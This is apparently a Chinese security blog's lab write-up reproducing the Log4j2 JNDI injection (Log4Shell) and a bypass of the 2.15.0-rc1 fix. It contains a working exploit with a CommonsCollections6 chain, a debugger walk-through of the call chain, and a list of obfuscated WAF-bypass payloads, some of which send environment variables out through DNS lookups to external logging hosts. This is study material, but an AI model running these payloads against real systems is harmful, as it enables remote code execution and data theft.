Log4j2复现笔记
Flow

学一下经典

主要参考

https://drun1baby.top/2022/08/09/Log4j2%E5%A4%8D%E7%8E%B0

https://www.cnblogs.com/zpchcbd/p/16200105.html

环境

  • jdk8u65
  • Log4j2 2.14.1
  • CC 3.2.1

基础开发流程

加上这些依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>

跟着大师傅的文章用xml简单实现一下,这里命名和路径都有要求

Log4j2 默认会按照特定的命名规则和路径查找配置文件。文件名 log4j2.xml 是 Log4j2 框架的默认配置文件名,放在 src/main/resources 目录下是标准路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?xml version="1.0" encoding="UTF-8"?>
<!-- log4j2 配置文件 -->
<!-- 注意:此文件必须命名为log4j2.xml并放在resources目录下,Log4j2框架会自动查找这个名称的配置文件 -->
<!-- 如果使用其他名称,需要在代码中通过System.setProperty("log4j.configurationFile", "路径")指定 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal -->
<configuration status="info">
<!-- 自定义属性 -->
<Properties>
<!-- 日志格式(控制台):[日志级别] 时间 类名 - 日志信息 -->
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<!-- 日志格式(文件):更详细的格式,包含级别、时间、类名、线程和日志信息 -->
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<!-- 日志文件路径:指定日志输出到logs目录下的myLog.log文件 -->
<Property name="filePath">logs/myLog.log</Property>
</Properties>

<!-- 定义不同的日志输出目标(控制台、文件等) -->
<appenders>
<!-- 控制台输出配置 -->
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console>
<!-- 文件输出配置,支持日志滚动(按大小、日期等) -->
<RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<!-- 当日志文件达到5MB时,触发日志滚动 -->
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>

<!-- 日志记录器配置 -->
<loggers>
<!-- root是根记录器,所有日志都会经过它,level设置的是日志记录的最低级别 -->
<root level="info">
<!-- 引用上面定义的appender,即日志同时输出到控制台和文件 -->
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>

再写一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* Log4j2测试类
* 演示Log4j2日志框架的基本用法
* 此类必须命名为Log4j2Test才能正确运行的原因是:
* 类名本身与运行无关,重要的是log4j2.xml配置文件必须放在正确的位置(src/main/resources目录下)
*/
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2Test {
public static void main( String[] args )
{
// 获取Logger实例
// 注意:这里使用了LongFunction.class作为logger名称,实际项目中通常使用当前类:Log4j2Test.class
// 在日志输出中,会显示org.apache.logging.log4j.Logger作为日志来源
Logger logger = LogManager.getLogger(LongFunction.class);

// 输出不同级别的日志
// 根据log4j2.xml中的配置,只有info及以上级别的日志才会被记录
// 日志级别优先级:TRACE < DEBUG < INFO < WARN < ERROR < FATAL
logger.trace("trace level"); // 不会显示,因为级别低于配置的info
logger.debug("debug level"); // 不会显示,因为级别低于配置的info
logger.info("info level"); // 会显示
logger.warn("warn level"); // 会显示
logger.error("error level"); // 会显示
logger.fatal("fatal level"); // 会显示
}
}

运行之后会打印

mylog.log内容也会更新

再看一下实际的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String username = "flow";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}

大概就了解这些,还有些更具体的用法,或者xml的写法去区分日志信息是否打印及其打印位置,这些细节可以用ai帮忙了解

漏洞分析

影响版本:2.x <= log4j <= 2.15.0-rc1

刚刚这句logger.info("User {} login in!", username);里面username是可控的,如果我们尝试把username控制成String username = "${java:os}";再运行一下

可以看到回显的内容不是简单的os,明显是处理过的得到的系统信息

这是log4j自带的功能,官方有文档介绍 https://logging.apache.org/log4j/2.x/manual/lookups.html#JavaLookup

现在的问题是这里的lookup是基于jndi的,而前面已经学习了jndi调用lookup()是存在漏洞的

复现

1
2
3
4
5
6
7
public class log4j2EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "${jndi:ldap://127.0.0.1/vwlEemxUBD/CommonsCollections6/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==}";
logger.info("User {} login in!", username);
}
}

这里ldap服务依然直接用工具启动,带上cc6的利用链,运行成功弹出计算器

调试

学着大师傅把断点打在这里

下面有一个for循环,里面要处理event和buffer,event是我们需要日志打印的内容,另一个buffer,我们会把打印的东西写进buffer

进去有一个format()方法,可以把他理解成一个处理字符串的方法,具体如何处理是要看具体情况怎么重写的,说是不是很重要。

总体来说这个循环使用来遍历formatters,中间会做数据处理工作,前面都不是很重要。比如比如DatePatternConverter,它会格式化一个日期存储到buf中,LiteralPatternConverter就是格式化一个[]符号

这里有多个formatter,刚好第七个比较特殊,里面的converterMessagePatternConverter,会进入到的是一个不一样的format()方法,在PatternFormatter类里面

再进入到MessagePatternConverter类里面的format()

到这里判断是否是 Log4j2 的 lookups 功能,我们是,所以会往下

可以看到此时workingBuilder是我们传入的payload

第一个if在判断workingBuilder中是否有${,如果有,就取出$开始后面的字符串,然后跟进到replace()里面

里面用到了substitute()方法,再看,直到这一句,这个地方前面进行了多次循环读取,直到读到}获取到位置,然后把${}中间的内容提取出来,然后再调用this.subtitute来处理

到后面我们可以看到处理的内容里面已经没有${}了

然后注意到这里有个this

可以猜测resolver解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的jndi:xxx后续就会用到JndiLookup这个解析器

再进入到resolveVariable()里面,就可以看到调用了lookup()

跟进去有一个lookup.lookup(),可以看到是JndiLookup()类型的

最后就走到了JndiManager.lookup(),这和之前jndi注入的点就重合了

小结一下

总体流程就是

1
2
3
4
5
6
converter.format() 
-> MessagePatternConverter.fotmat()
-> StrSubstitutor.replace()
-> StrSubstitutor.substitute() // 这里面包括对传入payload的递归处理,取出地址
-> StrSubstitutor.resolveVariable()
-> lookup()
  • 判断有没有 ${},有的话把里面的内容取出来,这里涉及到java代码里面递归提取。
  • 后面使用:去分割payload,通过前缀判断是用什么解析器去lookup
  • 目前支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

绕waf

很多时候waf会检测payload是否存在jndi:等关键词

常见waf的payload,这里贴一下,以后可能遇到直接拿来用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
${jndi:ldap://127.0.0.1:1389/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}
${jndi:rmi://ceye.io}
${${lower:jndi}:${lower:rmi}://ceye.io/a}
${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${upper:jndi}:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io

官方有一个描述,如果参数未定义,那么 :- 后面的就是默认值,通俗的来说就是默认值

绕过手法:

多个分隔符和:-绕过

这块可以看一下这个文章,写的很详细

https://www.cnblogs.com/zpchcbd/p/16200105.html

利用upper和lower绕过

之前提到过允许的字符就有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,就有upper和lower,可以利用这个功能绕过检测

1
2
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");

也可以有一些特殊字符经过处理后变成我们想要的字符

ı => upper => i (Java 中测试可行)

ſ => upper => S (Java 中测试可行)

İ => upper => i (Java 中测试不可行)

K => upper => k (Java 中测试不可行)

比如

1
logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
利用其他解析器

比如通过sysenv协议,结合jndi可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码

例如

1
${jndi:ldap://${env:LOGNAME}.dnslog.cn}

Log4j2 2.15.0-rc1修复与绕过方法

修复详情

在依赖里把log4j换成2.15.0版本的再执行exp就没办法弹计算机了,证明我们给的payload没有按计划走到lookup里面

看一下修复差别,之前断点在PatternLayout.toSerializable()里,然后会进入PatternFormatter.format()方法

先不说PatternLayout.toSerializable()里面的变化,进入到format()后就很多不一样了

上图是2.14.1 版本的,下图是2.15.0版本的

可以看到converter()变了,这次变成MessagePatternConverter.SimplePatternConverter,而不是2.14.1的MessagePatternConverter,会导致后面进入的format()方法不一样,就没办法进入后面的利用链

  • 而且2.15.0 版本的 log4j 包还在 JndiManager#lookup 中增加了代码,这个细节后面再处理

绕过方法

现在绕过先尝试找到一个新的入口,回顾一下之前的函数调用链,这个方法走不通,我们就尝试定位某个方法,看看有没有别的地方调用了直到后面再到lookup()

1
2
3
4
5
6
converter.format() 
-> MessagePatternConverter.fotmat()
-> StrSubstitutor.replace()
-> StrSubstitutor.substitute() // 这里面包括对传入payload的递归处理,取出地址
-> StrSubstitutor.resolveVariable()
-> lookup()

于是前辈找到了MessagePatternConverter里面另一个format()方法,里面调用了replaceIn()方法

走到里面看一下,里面就有**substitute()**,属于StrSubstitutor类,后面的东西就和前面一样了

回看调用 replaceIn() 方法的 format() 方法是LookupMessagePatternConverter类的,这个类继承了MessagePatternConverter,现在为了进入这个format(),我们要让前面的converter是LookupMessagePatternConverter类,how to do?

前辈找到了在 newInstance() 方法中会调用 loadLookups() 这个方法(里面有判断 if ("lookups".equalsIgnoreCase(option)) 符合判断才会返回true),然后出来之后有两个判断,这里要构造一下才能控制返回的converter是我们想要的LookupMessagePatternConverter

目前就是这些限制,需要手动修改他们,为了方便调试在log4j.xml里面添加新内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%m{lookups}%n"/>
</console>
</appenders>

<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>

然后现在的exp是

1
2
3
4
5
6
7
8
9
10
11
public class log4j2EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,
new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1/RchSAKscwA/CommonsCollections6/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1/RchSAKscwA/CommonsCollections6/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==}"));
}
}

可以运行一下,还是有问题

看回显是不支持反序列化数据,调试进入看一下

前面的过程可以忽略,都差不多,我们来到JndiManager#lookup里面,可以看到有很大的变化

这是2.14.1的 很简单就是直接走到lookup了

再看2.15.0的,里面多了很多代码,多了限制

有对 javaSerializedData 中的 classname 做了处理;以及 Reference 和 javaFactory 做了处理,也就是对 JDNI 注入做了处理

多了一些白名单allowedHosts和allowedProtocols

有这些判断所以用rmi绕过是走不通的

此时我们传入的payload是反序列化类型的,所以会走到if (!this.allowedClasses.contains(className)) 的判断

很不幸就进入if了,直接return 结束了方法

所以要绕过这个判断,这里借用别的师傅rc1环境的图,我的环境用了2.15.0-rc2的环境

思路是直接不进入后面的if判断就好了,然后直接到最后直接lookup,所以可以把payload改成

1
${jndi:ldap://127.0.0.1:1234/ ExportObject}

多一个空格不是正常url格式绕过,反正异常没有别的影响

这样就能绕过2.15.0版本的修改按计划走到lookup里面了!

2.15.0-rc2版本修复

这是rc2的lookup,故意给个不正常的url会直接return,卒!

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep